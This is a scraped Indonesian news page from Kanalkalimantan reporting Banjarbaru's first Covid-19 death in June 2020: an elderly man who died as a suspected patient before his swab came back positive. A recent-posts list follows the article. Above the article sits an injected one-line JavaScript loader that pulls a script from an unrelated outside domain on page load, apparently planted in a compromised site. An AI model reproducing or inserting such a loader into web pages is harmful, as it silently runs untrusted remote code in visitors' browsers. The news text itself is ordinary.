(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Satu Kasus Covid-19 di Banjarbaru Meninggal, Seorang PDP yang Beberapa Hari Lalu Dimakamkan


KANALKALIMANTAN.COM, BANJARBARU – Untuk pertama kalinya pasien Covid-19 di Kota Banjarbaru dinyatakan meninggal dunia. Hal ini sebagaimana data yang dirilis Tim Gugus Tugas Percepatan Penanganan Covid-19 Banjarbaru, pada Rabu (3/6/2020) sore.

Menurut paparan data, kasus Covid-19 yang dinyatakan meninggal dunia tersebut ialah warga Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan.

Juru Bicara Tim Gugus Tugas P2 Covid-19 Banjarbaru, Rizana Mirza, mengatakan pasien yang meninggal dunia tersebut ialah laki-laki berusia 60 tahun ke atas. Namun, rupanya pasien ini telah meninggal beberapa hari lalu saat masih berstatus Pasien Dalam Pengawasan (PDP) di Rumah Sakit Daerah (RSD) Idaman Banjarbaru.

Kronologinya kala itu, pasien mengidap penyakit di bagian pernafasan, faktor usianya yang lanjut. Saat dilakukan pemeriksaan rapid test oleh pihak rumah sakit, hasilnya menunjukan reaktif.

Untuk memastikan apakah pasien terpapar Covid-19 atau tidak, pihak rumah sakit kemudian melanjutkan pemeriksaan swab. Hanya saja, sebelum hasil pemeriksaan swab keluar, pasien tersebut telah menghembuskan nafas terakhir.

“Pasien ini meninggal, kira-kira 4 atau 5 hari yang lalu. Yang bersangkutan saat itu masih berstatus PDP dan belum dinyatakan positif Covid-19. Selasa malam tadi, hasil swab dari almarhum telah keluar dan dinyatakan terpapar,” kata Rizana, saat dihubungi Kanalkalimantan.

Dikatakan Rizana, pasien saat itu telah dimakamkan sesuai dengan protokol kesehatan Covid-19. Sebagai tindakan pencegan usai dinyatakan terpaparnya pasien yang meninggal dunia tersebut, Tim Gugus Tugas segera melakukan pemeriksaan kepada pihak keluarga.

“Rencananya, Puskesmas Kecamatan Banjarbaru Selatan akan segera melaksanakan rapid test kepada pihak keluarga almarhum. Ini sebagai tindakan pencegahan adanya penyebaran di dalam rumah,” tungkas Rizana.

Sementara itu, hingga kini kasus Covid-19 yang menjalani perawatan telah menyentuh angka 35 kasus. Mereka saat ini menjalani perawatan, baik itu di Rumah Sakit maupun di tempat khusus karantina yang disediakan oleh Pemerintah Kota Banjarbaru. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

11 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

11 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

11 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

12 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

13 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

14 jam ago

This website uses cookies.